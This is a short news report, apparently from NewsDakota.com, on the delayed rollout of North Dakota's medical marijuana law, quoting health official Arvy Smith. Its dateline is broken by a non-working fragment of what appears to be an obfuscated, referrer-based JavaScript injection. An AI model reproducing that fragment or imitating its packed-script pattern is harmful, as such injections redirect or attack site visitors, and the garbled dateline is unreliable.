BISMARCK, tryzk|var|u0026u|referrer|saafk||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – The implementation of the new medical marijuana law passed by North Dakota voters in November of 2016 may take several months before it can be legally set up in state.

Acting State Medical Officer Arvy Smith said compassion centers need to be in place to meet requirements under the law.

Smith said it has taken other states several months to implement the legal distribution of medical marijuana.

Smith said the health department needs to approve a private firm to set up a lab for the legal distribution of medical marijuana.

Smith said under federal law, it’s illegal to move the product across state lines and that’s why a lab needs to be set up in North Dakota. Below is the full interview with Smith and NewsDakota.com reporter Steve Urness.

Meanwhile, state law makers are moving to suspend the implementation until the Legislature adopts rules for dispensing the substance.

Earlier this month, Senate Majority Leader Rich Wardner of Dickinson said it will delay the applications for growers and dispensers until the details on how it will be regulated are worked out.

A joint House and Senate meeting will consider a proposal to delay the law at least until the end of July.